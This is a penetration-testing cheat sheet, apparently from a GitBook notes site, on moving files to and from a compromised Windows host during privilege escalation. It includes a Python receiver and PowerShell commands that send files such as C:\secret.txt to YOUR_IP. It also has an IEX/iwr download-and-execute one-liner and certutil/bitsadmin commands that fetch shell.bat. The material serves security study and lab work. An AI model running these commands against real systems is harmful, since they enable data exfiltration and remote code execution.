> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/file-transportation.md).

# File Transportation

## Uploads

Uploading files from the target to the host machine with a simple reverse shell can be a little bit trickier, however, so I've created a very basic LOL method for doing so:

{% tabs %}
{% tab title="receiver.py" %}
{% code title="receiver.py" %}

```python
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers['Content-Length'])
        data = self.rfile.read(length)
        filename = self.headers.get('X-Filename', 'received_file')
        with open(filename, 'wb') as f:
            f.write(data)
        self.send_response(200)
        self.end_headers()
        print(f"[+] Received: {filename} ({len(data)} bytes)")

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
```

{% endcode %}
{% endtab %}

{% tab title="upload.ps1" %}
{% code title="upload.ps1" %}

```python
# Send a file via POST
$bytes = [System.IO.File]::ReadAllBytes("C:\path\to\file.txt")
Invoke-WebRequest -Uri "http://YOUR_IP:8080/" -Method POST -Body $bytes -Headers @{"X-Filename"="file.txt"}

# Alternative using WebClient
(New-Object Net.WebClient).UploadFile("http://YOUR_IP:8080/", "C:\path\to\file.txt")

# Or UploadData for more control
$wc = New-Object Net.WebClient
$wc.UploadData("http://YOUR_IP:8080/", [System.IO.File]::ReadAllBytes("C:\secret.txt"))
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Python

```
python -m http.server 8080
```

## PowerShell

```powershell
# Executing in-memory
IEX (iwr 'http://10.10.10.205/procmon.ps1')
# Simply downloading
iwr http://10.10.14.23:8080/procmon.ps1 -OutFile procmon.ps1
Invoke-WebRequest -Uri "https://example.com/file.exe" -OutFile "C:\Temp\file.exe"

# Using object
$wc = New-Object System.Net.WebClient
$wc.DownloadFile("https://example.com/file.exe", "C:\Temp\file.exe")

certutil -urlcache -split -f http://example.com/file.exe file.exe
bitsadmin /transfer job http://example.com/file.exe C:\Temp\file.exe


```

## Certutil

[certutil.exe](certutil.exehttps://lolbas-project.github.io/lolbas/Binaries/Certutil/) is commonly used for handling certificates but it may also be used for transfering or base64 encoding/decoding files.

```
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat
```

{% tabs %}
{% tab title="Transfer" %}

```bat
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat
```

{% endtab %}

{% tab title="Encoding" %}

```bat
C:\htb> certutil -encode file1 encodedfile

Input Length = 7
Output Length = 70
CertUtil: -encode command completed successfully
```

{% endtab %}

{% tab title="Decoding" %}

```bat
C:\htb> certutil -decode encodedfile file2

Input Length = 70
Output Length = 7
CertUtil: -decode command completed successfully.

```

{% endtab %}
{% endtabs %}

## Zipping

{% code title="Windows" %}

```powershell
Expand-Archive -Path archive.zip -DestinationPath extracted
Expand-Archive archive.zip extracted -Force
Compress-Archive -Path folder\* -DestinationPath archive.zip
Compress-Archive file1.txt, file2.txt archive.zip
## List contents without extracting
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::OpenRead("archive.zip").Entries
```

{% endcode %}

{% code title="Unix zip command" %}

```bash
zip -r output.zip input_directory
```

{% endcode %}